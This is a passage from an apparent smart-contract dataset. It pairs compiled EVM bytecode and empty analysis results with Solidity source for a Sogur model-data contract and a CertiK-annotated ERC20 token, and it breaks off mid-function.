fffffffffffffffff168152602001908152602001600020548111151515610cc357600080fd5b610d5281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddc82826116e3565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3c57600080fd5b600360149054906101000a900460ff161580610ea15750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610eac57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4563746f0000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161580610fbb5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610fc657600080fd5b610fd08383611b40565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103657600080fd5b600090505b81518110156110c057600160046000848481518110151561105857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061103b565b5050565b6000600360149054906101000a900460ff16158061112b5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561113657600080fd5b6111408383611d5f565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122b57600080fd5b61123481611f5b565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561136657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113b357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561143e57600080fd5b61148f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611522826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115f382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561173057600080fd5b611781816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117d881600154611b2790919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156119a7576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3b565b6119ba8382611b2790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000828211151515611b3557fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b7d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611bca57600080fd5b611c1b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cae826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611df082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f9757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000818301905082811015151561206a57fe5b809050929150505600a165627a7a72305820c11aa3314337316088662eb515d964eea5cc54b4b8a7b73f8154ad2533d97b290029
{"success": true, "error": null, "results": {}}
1,201
0xca7f86f12e7b99c0ae6b4310873312dedf74d0f9
pragma solidity 0.4.25; // File: contracts/sogur/interfaces/IModelDataSource.sol /** * @title Model Data Source Interface. */ interface IModelDataSource { /** * @dev Get interval parameters. * @param _rowNum Interval row index. * @param _colNum Interval column index. * @return Interval minimum amount of SGR. * @return Interval maximum amount of SGR. * @return Interval minimum amount of SDR. * @return Interval maximum amount of SDR. * @return Interval alpha value (scaled up). * @return Interval beta value (scaled up). */ function getInterval(uint256 _rowNum, uint256 _colNum) external view returns (uint256, uint256, uint256, uint256, uint256, uint256); /** * @dev Get interval alpha and beta. * @param _rowNum Interval row index. * @param _colNum Interval column index. * @return Interval alpha value (scaled up). * @return Interval beta value (scaled up). */ function getIntervalCoefs(uint256 _rowNum, uint256 _colNum) external view returns (uint256, uint256); /** * @dev Get the amount of SGR required for moving to the next minting-point. * @param _rowNum Interval row index. * @return Required amount of SGR. */ function getRequiredMintAmount(uint256 _rowNum) external view returns (uint256); } // File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/sogur/ModelDataSource.sol /** * Details of usage of licenced software see here: https://www.sugor.org/software/readme_v1 */ /** * @title Model Data Source. */ contract ModelDataSource is IModelDataSource, Claimable { string public constant VERSION = "1.0.0"; struct Interval { uint256 minN; uint256 maxN; uint256 minR; uint256 maxR; uint256 alpha; uint256 beta; } bool public intervalListsLocked; Interval[11][95] public intervalLists; /** * @dev Lock the interval lists. */ function lock() external onlyOwner { intervalListsLocked = true; } /** * @dev Set interval parameters. * @param _rowNum Interval row index. * @param _colNum Interval column index. * @param _minN Interval minimum amount of SGR. * @param _maxN Interval maximum amount of SGR. * @param _minR Interval minimum amount of SDR. * @param _maxR Interval maximum amount of SDR. * @param _alpha Interval alpha value (scaled up). * @param _beta Interval beta value (scaled up). */ function setInterval(uint256 _rowNum, uint256 _colNum, uint256 _minN, uint256 _maxN, uint256 _minR, uint256 _maxR, uint256 _alpha, uint256 _beta) external onlyOwner { require(!intervalListsLocked, "interval lists are already locked"); intervalLists[_rowNum][_colNum] = Interval({minN: _minN, maxN: _maxN, minR: _minR, maxR: _maxR, alpha: _alpha, beta: _beta}); } /** * @dev Get interval parameters. * @param _rowNum Interval row index. * @param _colNum Interval column index. * @return Interval minimum amount of SGR. * @return Interval maximum amount of SGR. * @return Interval minimum amount of SDR. * @return Interval maximum amount of SDR. * @return Interval alpha value (scaled up). * @return Interval beta value (scaled up). */ function getInterval(uint256 _rowNum, uint256 _colNum) external view returns (uint256, uint256, uint256, uint256, uint256, uint256) { Interval storage interval = intervalLists[_rowNum][_colNum]; return (interval.minN, interval.maxN, interval.minR, interval.maxR, interval.alpha, interval.beta); } /** * @dev Get interval alpha and beta. * @param _rowNum Interval row index. * @param _colNum Interval column index. * @return Interval alpha value (scaled up). * @return Interval beta value (scaled up). */ function getIntervalCoefs(uint256 _rowNum, uint256 _colNum) external view returns (uint256, uint256) { Interval storage interval = intervalLists[_rowNum][_colNum]; return (interval.alpha, interval.beta); } /** * @dev Get the amount of SGR required for moving to the next minting-point. * @param _rowNum Interval row index. * @return Required amount of SGR. */ function getRequiredMintAmount(uint256 _rowNum) external view returns (uint256) { uint256 currMaxN = intervalLists[_rowNum + 0][0].maxN; uint256 nextMinN = intervalLists[_rowNum + 1][0].minN; assert(nextMinN >= currMaxN); return nextMinN - currMaxN; } } // File: contracts/sogur/BatchSetModelDataSource.sol /** * Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1 */ /** * @title Batch Set Model Data Source. */ contract BatchSetModelDataSource is Claimable { string public constant VERSION = "1.0.0"; uint256 public constant MAX_INTERVAL_INPUT_LENGTH = 32; ModelDataSource public modelDataSource; /* * @dev Create the contract. */ constructor(address _modelDataSourceAddress) public { require(_modelDataSourceAddress != address(0), "model data source address is illegal"); modelDataSource = ModelDataSource(_modelDataSourceAddress); } /** * @dev Set model data source intervals. */ function setIntervals(uint256 _intervalsCount, uint256[MAX_INTERVAL_INPUT_LENGTH] _rowNum, uint256[MAX_INTERVAL_INPUT_LENGTH] _colNum, uint256[MAX_INTERVAL_INPUT_LENGTH] _minN, uint256[MAX_INTERVAL_INPUT_LENGTH] _maxN, uint256[MAX_INTERVAL_INPUT_LENGTH] _minR, uint256[MAX_INTERVAL_INPUT_LENGTH] _maxR, uint256[MAX_INTERVAL_INPUT_LENGTH] _alpha, uint256[MAX_INTERVAL_INPUT_LENGTH] _beta) external onlyOwner { require(_intervalsCount < MAX_INTERVAL_INPUT_LENGTH, "intervals count must be lower than MAX_INTERVAL_INPUT_LENGTH"); for (uint256 i = 0; i < _intervalsCount; i++) { modelDataSource.setInterval(_rowNum[i], _colNum[i], _minN[i], _maxN[i], _minR[i], _maxR[i], _alpha[i], _beta[i]); } } /** * @dev Claim model data source ownership. */ function claimOwnershipModelDataSource() external onlyOwner { modelDataSource.claimOwnership(); } /** * @dev Renounce model data source ownership. */ function renounceOwnershipModelDataSource() external onlyOwner { modelDataSource.renounceOwnership(); } /** * @dev Lock model data source. */ function lockModelDataSource() external onlyOwner { modelDataSource.lock(); } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630bb6d24881146100be578063195f80ff146100d55780634e71e0c8146100fc578063715018a61461011157806378dad502146101265780637e067e0f1461013b5780638330ff791461016a5780638cb5c484146101a85780638da5cb5b146101bd578063e30c3978146101d2578063f2fde38b146101e7578063ffa1ad7414610215575b600080fd5b3480156100ca57600080fd5b506100d361029f565b005b3480156100e157600080fd5b506100ea610363565b60408051918252519081900360200190f35b34801561010857600080fd5b506100d3610368565b34801561011d57600080fd5b506100d3610422565b34801561013257600080fd5b506100d36104b3565b34801561014757600080fd5b506100d36004356024610424610824610c24611024611424611824611c2461055d565b34801561017657600080fd5b5061017f61078a565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156101b457600080fd5b506100d36107a6565b3480156101c957600080fd5b5061017f610850565b3480156101de57600080fd5b5061017f61086c565b3480156101f357600080fd5b506100d373ffffffffffffffffffffffffffffffffffffffff60043516610888565b34801561022157600080fd5b5061022a6108f3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026457818101518382015260200161024c565b50505050905090810190601f1680156102915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60005473ffffffffffffffffffffffffffffffffffffffff1633146102c357600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663715018a66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561034957600080fd5b505af115801561035d573d6000803e3d6000fd5b50505050565b602081565b60015473ffffffffffffffffffffffffffffffffffffffff16331461038c57600080fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff16331461044657600080fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a2600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146104d757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e71e0c86040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561034957600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff16331461058257600080fd5b60208a1061061757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603c60248201527f696e74657276616c7320636f756e74206d757374206265206c6f77657220746860448201527f616e204d41585f494e54455256414c5f494e5055545f4c454e47544800000000606482015290519081900360840190fd5b5060005b8981101561077e5760025473ffffffffffffffffffffffffffffffffffffffff16637453e8bf8a836020811061064d57fe5b60200201358a8460208110151561066057fe5b60200201358a8560208110151561067357fe5b60200201358a8660208110151561068657fe5b60200201358a8760208110151561069957fe5b60200201358a886020811015156106ac57fe5b60200201358a896020811015156106bf57fe5b60200201358a8a6020811015156106d257fe5b60200201356040518963ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018089815260200188815260200187815260200186815260200185815260200184815260200183815260200182815260200198505050505050505050600060405180830381600087803b15801561075a57600080fd5b505af115801561076e573d6000803e3d6000fd5b50506001909201915061061b9050565b50505050505050505050565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1633146107ca57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f83d08ba6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561034957600080fd5b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1633146108ac57600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60408051808201909152600581527f312e302e300000000000000000000000000000000000000000000000000000006020820152815600a165627a7a7230582015516ef7d01b90f6cf4be231ba284f43971eb7af1a3544fa7158f411b53532210029
{"success": true, "error": null, "results": {}}
1,202
0x6fb3e0a217407efff7ca062d46c26e5d60a14d69
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ /*@CTK SafeMath_mul @tag spec @post __reverted == __has_assertion_failure @post __has_assertion_failure == __has_overflow @post __reverted == false -> c == a * b @post msg == msg__post */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ /*@CTK SafeMath_div @tag spec @pre b != 0 @post __reverted == __has_assertion_failure @post __has_overflow == true -> __has_assertion_failure == true @post __reverted == false -> __return == a / b @post msg == msg__post */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ /*@CTK SafeMath_sub @tag spec @post __reverted == __has_assertion_failure @post __has_overflow == true -> __has_assertion_failure == true @post __reverted == false -> __return == a - b @post msg == msg__post */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ /*@CTK SafeMath_add @tag spec @post __reverted == __has_assertion_failure @post __has_assertion_failure == __has_overflow @post __reverted == false -> c == a + b @post msg == msg__post */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ /*@CTK owner_set_on_success @pre __reverted == false -> __post.owner == owner */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ /*@CTK transferOwnership @post __reverted == false -> (msg.sender == owner -> __post.owner == newOwner) @post (owner != msg.sender) -> (__reverted == true) @post (newOwner == address(0)) -> (__reverted == true) */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ /*@CTK transfer_success @pre _to != address(0) @pre balances[msg.sender] >= _value @pre __reverted == false @post __reverted == false @post __return == true */ /*@CTK transfer_same_address @tag no_overflow @pre _to == msg.sender @post this == __post */ /*@CTK transfer_conditions @tag assume_completion @pre _to != msg.sender @post __post.balances[_to] == balances[_to] + _value @post __post.balances[msg.sender] == balances[msg.sender] - _value */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ /*@CTK balanceOf @post __reverted == false @post __return == balances[_owner] */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ /*@CTK transferFrom @tag assume_completion @pre _from != _to @post __return == true @post __post.balances[_to] == balances[_to] + _value @post __post.balances[_from] == balances[_from] - _value @post __has_overflow == false */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ /*@CTK approve_success @post _value == 0 -> __reverted == false @post allowed[msg.sender][_spender] == 0 -> __reverted == false */ /*@CTK approve @tag assume_completion @post __post.allowed[msg.sender][_spender] == _value */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ /*@CTK CtkIncreaseApprovalEffect @tag assume_completion @post __post.allowed[msg.sender][_spender] == allowed[msg.sender][_spender] + _addedValue @post __has_overflow == false */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ /*@CTK CtkDecreaseApprovalEffect_1 @pre allowed[msg.sender][_spender] >= _subtractedValue @tag assume_completion @post __post.allowed[msg.sender][_spender] == allowed[msg.sender][_spender] - _subtractedValue @post __has_overflow == false */ /*@CTK CtkDecreaseApprovalEffect_2 @pre allowed[msg.sender][_spender] < _subtractedValue @tag assume_completion @post __post.allowed[msg.sender][_spender] == 0 @post __has_overflow == false */ /* CertiK Smart Labelling, for more details visit: https://certik.org */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] 